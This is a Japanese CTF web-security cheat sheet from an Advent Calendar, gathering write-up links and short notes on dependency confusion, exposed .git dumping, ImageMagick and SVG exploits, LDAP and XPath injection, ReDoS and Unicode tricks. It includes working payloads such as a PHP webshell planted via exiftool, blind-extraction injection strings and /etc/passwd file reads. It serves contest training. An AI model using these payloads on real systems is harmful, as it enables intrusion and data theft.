この記事はCTFのWebセキュリティ Advent Calendar 2021の25日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
脆弱性を利用する
Dependency Confusion
- Dependency Confusion: How I Hacked Into Apple, Microsoft and Dozens of Other Companies | by Alex Birsan | Feb, 2021 | Medium
- 発祥の地
- 対象
- レポジトリシステム, Maven Central(Gradleも?), npm, NuGet, PyPl
- AzureのWhite paper
- 各レポジトリでのmitigationも書いてある
- Preventing Dependency Confusion in PHP with Composer
- PHPでの話
- Change methodology for installing Helix scripts to ensure we get the … · dotnet/dotnet-buildtools-prereqs-docker@56c6673 · GitHub
- --extra-index-urlで指定されていても一般公開されているもののバージョンが高ければ、そっちがとってこられる
- PoC?チェックツール?
- Challenges
- CTFtime.org / H@cktivityCon 2021 CTF / SpiralCI
- 初めて題材になっているのを見た
- パッケージをnpmに公開する方法(業界のやり方)| Zell Liewで作れる
- packages.jsonでscruptsの所にpreinstallとして任意コードを配置しておくとRCEできる。今回はログ出力もされているので、標準出力に出してやれば見られる
- CTFtime.org / H@cktivityCon 2021 CTF / SpiralCI
DoS
- セキュリティ的にも問題とされる。情報は抜かれないが、事業停止に追いやることができる。CTFではあまりテーマとして出題されない。
- でも解法でDoSが思いついても、解法にかなり確信度が無い限りやらないことを勧める(もしかしたらサーバ壊すかも)
- 何がDoSの原因となるか?
- 資料
Git系
/.git
を試してみて、404以外だったら抜けるか試してみる- バージョン管理情報も一緒にアップロードされてるときに情報を抜ける
- ネット上に上がっているレポジトリを持ってくるとき
- GitHub - arthaud/git-dumper: A tool to dump a git repository from a website
./git-dumper.py http://website.com/.git ~/website
- GitHub - C-Sto/GoGitDumper: Dump exposed HTTP .git fast
gogitdumper -u https://constellations.page/.git/ -o .git/
- GitHub - arthaud/git-dumper: A tool to dump a git repository from a website
- Gitのファイルがありそうなとき
- /home/gitserver/.git/HEADを見てみる
- /home/gitserver/.git/logs/HEADで修正ログが見られる
- テク
- Gitでやらかした時に使える19個の奥義 - Qiita
- git log
git log -p
- 修正内容も含めて全部持ってくる
git log -p > log && cat log | grep -Ei "flag{"
- flag{を抽出するコマンド
> git log --oneline --stat > log.txt
- いい感じのlogを出すコマンド
git rev-list --objects --all
- 過去コミットのオブジェクトを全部持ってくる
git cat-file --batch --batch-all-objects
で全部表示できる
- CTFtime.org / RITSEC CTF 2021 / Corruption
- 壊れてるっぽいけど、頑張って復元してる
SVGへの攻撃方法
ImageMagick
- 画像処理ライブラリ。
- 脆弱性が多い
- 2016年:ImageTragick (CVE-2016-3714 ~ CVE-2016-3718)
- 「ImageMagick」の脆弱性、遠隔でのコード実行が可能に | トレンドマイクロ セキュリティブログ
- RCE。MVG(ImageMagickの独自規格) やSVGといったベクター画像にコマンドを埋めこんで実行する。
- exploitコード:ImageTragick
- #402362 RCE due to ImageTragick v2
- ghostscript RCEが使える脆弱性があるらしい
- MDL Considered Harmful - CTFs
- jsonからの入力例で攻撃成功しているものがある(LFI)
- テキスト入れるところに
@/opt/flag.txt
と置くとLFIできる
- 2017年:Yahoobleed
- メモリ初期化漏れ
- PoCしてないので違う可能性あり
- メモリ解放後の領域を盗み見ることで、情報をリークさせるもの
- Yahoobleed - YoyaWiki Plus!
- 2016, 2018年:Tavis OrmandyによるImageMagickでの外部プログラム(Ghostscript)のサポートがどのようにリモート実行につながるかを示す
- 2020年:ImageMagick-PDFパスワードによるシェルインジェクション
- InsertScript: ImageMagick - Shell injection via PDF password
- PDF作成時の設定パスワード部分でシェルインジェクションが行える
- これはCLI実行時もそうであるが、MSL形式経由でパスワードを指定しても同様のコマンドインジェクションが達成できる
- 2016年:ImageTragick (CVE-2016-3714 ~ CVE-2016-3718)
- 気になること
- ImageMagickでは、次の構文を使用して特定のハンドラーを設定することもできます。
convert msvg:test.svg out.png
- これは考慮されてない場合多そう
- ImageMagickでは、次の構文を使用して特定のハンドラーを設定することもできます。
- 対策について
- InsertScript: ImageMagick - Shell injection via PDF password
- odt:/etc/passwd, html:/etc/passwdとするやりかたもある
- 資料
GraphicsMagick
- コマンドインジェクションできる場合に属性とかで悪さができる。
- HackerOneに報告された脆弱性をHackEDUで再現する - Akaki I/O
-rotate 90
を差し込んで回転するか確認(これはImageMagickでも有効らしい)
SVG Writeups
- 【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む) - こんとろーるしーこんとろーるぶい
- 【2019年】CTF Web問題の攻撃手法まとめ (Web問題のwriteupぜんぶ読む) - こんとろーるしーこんとろーるぶい
- CTFtime.org / P.W.N. CTF / SVG2PNG / Writeup
- 0CTF/TCTF 2018 Quals h4x0rs.space Writeup (Web 1000)
- X-CTF Finals 2016 - John Slick (Web 25) – Quan Yang
- Midnight Sun CTF 2019 Quals - Rubenscube | JBZ CTF Team
- BsidesSF CTF 2019 - svgmagick | Root Network Security
- GoogleCTF 2019 GPhotos writeup
Exif
- ExifTool において DjVu 形式ファイルの検証不備により任意のコードが実行されてしまう脆弱性(Scan Tech Report) | ScanNetSecurity
- exiftoolを使って、メタデータに悪意のある入力を埋め込む
exiftool -Comment='<?php echo "<pre>"; system($_GET['cmd']); >?' pic.jpg
- アップロード時にgeo-location情報は削除すべき?
LDAP
- LDAPが裏で動いているかの確認
- 検索フォームで以下のような感じなら怪しい
*
で検索すると全部でてくる(
で検索するとエラーになる- エラー例
Error: {'result': -7, 'desc': 'Bad search filter', 'errno': 11, 'ctrls': [], 'info': 'Resource temporarily unavailable'}
- エラー例
- emailが
XXX@YYY.local
なら怪しい
- 検索フォームで以下のような感じなら怪しい
- LDAP Filter Injection
- Understanding and Defending Against LDAP Injection Attacks – LDAP.com
String filter = "(|(uid=" + userInput + ")(mail=" + userInput + "))";
- こんな感じにフィルターを作っていた場合にインジェクションできるよという話。
- ルールはこんなかんじ7.4 LDAP検索フィルタ
- 使える属性 マッピング可能なLDAP属性(データベース連携) | ADManager Plus ナレッジベース
- ある問題ではdescriptionにヒントが書いてあったパターンがある(パスワードがそのまま書いてある場合も)
- どう悪用するかというと、
String filter = "(|(displayName=" + userInput + ")";
こうなってたとする- これに
Admin*)(description=V*
のように違う属性をインジェクションして、ワイルドカードで検索することで、表示されるされないでブラインドSQLiをして、descriptionの情報を抜き取れる
- payload
mkiloa@dvctf.local)(description=*))%00&password=*
- 総当りで一桁ずつ当てる方法がある
- ユーザー名、OIDは全探索できる?
- DaVinciCTF — Web Challenges — Writeup | by FHantke | Mar, 2021 | InfoSec Write-ups
email=mkiloa@dvctf.local)(userPassword:2.5.13.18:=\7b\4d\44\35\7d\41\<add the next byte here>))%00&password=*
- Write Up : ECW 2018 - AdmYSsion · 0xUKN - (in)Security Blog
- DaVinciCTF — Web Challenges — Writeup | by FHantke | Mar, 2021 | InfoSec Write-ups
- ユーザー名、OIDは全探索できる?
- 問題
Reflected File Download
正規表現
- 正規表現によるバリデーションはバイパスできる可能性が高い
- regex - Difference between \A \z and ^ $ in Ruby regular expressions - Stack Overflow
- 先頭末尾は
^ ... $
とするか\A ... \z
とするかの選択肢があるが、後者の方が強い制約になる。\z
と\Z
はセキュリティ的にはそんなに変りない。
- 先頭末尾は
re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
- とやると
\n
は変換されない
- とやると
- regexpパズル
ReDoS
- ReDoSとは
- Regular Expression DoS The Regular Expression Denial of Service (ReDoS) cheat-sheet | by James Davis | May, 2020 | Level Up Coding
- 正規表現を使ったDoS手法
- 正規表現に入力が入る場合は疑ってもいいかも
- 日本語資料が最近沢山ある
- 正規表現ソルバの実装によっては最悪計算量が指数関数になる場合があり、最悪計算量となるように評価式を作ることで、サーバに負荷をかけることができる
- Algorithmic complexity attack - Wikipedia
- こういう分野らしい。ZIP爆弾とかもそうなのか
- 正規表現の評価時にありうるパターンを全探索することで、組合せ爆発が起こるために発生する
- メールアドレスでのReDoS
- 正規表現でのメールアドレスチェックは見直すべき – ReDoS – yohgaki's blog
- 例)secconbeginner@host.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.abcde.
- google/re2: RE2 is a fast, safe, thread-friendly alternative to backtracking regular expression engines like those used in PCRE, Perl, and Python. It is a C++ library.
- Google作の安全な正規表現ソルバ。しかし、これを使っていても普通に重い正規表現では重くなる
- TSG CTF 2020 作問感想 - 博多電光
- RE2はAutomaton-basedであり、長い正規表現で状態数を増やせば、単純に計算を重くすることができ、ReDoSっぽいことができる
- ペイロード
- 正規表現を使ったDoS – ReDoS – yohgaki's blog
- 正規表現の落とし穴(ReDoS - Regular Expressions DoS) - Qiita
- ctf-writeups/note2.md at master · mdsnins/ctf-writeups
^TSGCTF.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?.?!
- 対策方法
- その正規表現の書き方で大丈夫? ReDoS 攻撃の怖さと対策方法 | yamory Blog
- 正規表現が安全であるかツールで確認
- 問題
Blind Regular Expression Injection Attack
聖典:A Rough Idea of Blind Regular Expression Injection Attack – やっていく気持ち
聖典から聖典が生まれていた → Revisiting ReDoS: A Rough Idea of Data Exfiltration by ReDoS and Side-channel Techniques - Speaker Deck
- これは何?
- 問題
- CTFtime.org / TSG CTF 2020 / Slick Logger
^flag(.?){1000}(.?){1000}(.?){1000}(.?){1000}(.?){1000}...(.?){1000}salt$
先頭がflagなら後続評価がされてすごく遅くなる
- CTFtime.org / TSG CTF 2020 / Slick Logger
Unicode
- 正規化を狙った攻撃がある
- Python 3.7.2の脆弱性
- 課題 36216: CVE-2019-9636: urlsplit does not handle NFKC normalization - Python tracker
https://example.com\uFF03@bing.com
にGETすると、https://example.com
にアクセスされるがbing.com
がホスト名になる
- Python 3.7.2の脆弱性
- HostSplit
- Unicodeを悪用するホモグラフ攻撃
- 怪しい文字列を打ちたいとき
XPath Injection
- picoCTF2021 [Web Exploitation] writeup - 好奇心の足跡
- かなり良質なWriteup
- ユーザー
blah' or 1=1 or 'a'='a
パスblah
を試してみて成功すればXPATHiっぽい//Users[UserName/text()='username' And Password/text()='password']
となってるイメージ
- Blind SQLiっぽい感じにBlind XPath Injectionもできる
- そのためにはsubstringを取る必要があり、そのためにかカラム名が必要になる
- それも長さとかguessとか諸々頑張るとできる
- カラム名がわかったらsubstringで1つずつ特定していく
- Cyber Apocalypse CTF 2021 Writeup | y011d4.log
- そのためにはsubstringを取る必要があり、そのためにかカラム名が必要になる
- CTFtime.org / Cyber Apocalypse 2021 / E.Tree
- 適当にエラーを出したときに
lxml.etree.XPathEvalError
が出たらチャンス /militaty/distinct/staff[name='[userinput]']
というクエリの場合はx' or 任意条件 or 'x'='y
みたいにインジェクションすると任意条件が満たされれば出てきて、そうでないなら出てこないようにできる- あとはstarts-withを使って先頭から順番に文字を探していく
x' or //staff[starts-with(selfDestructCode, '{flagAttempt}')] or 'x'='y
- 他インジェクション例
"a'] or substring((//staff[position()=2]/selfDestructCode/text()),1,1)='4' or /staf[nam='a
' OR count(//selfDestructCode)=2 OR 'a'='
- 適当にエラーを出したときに
- 未分類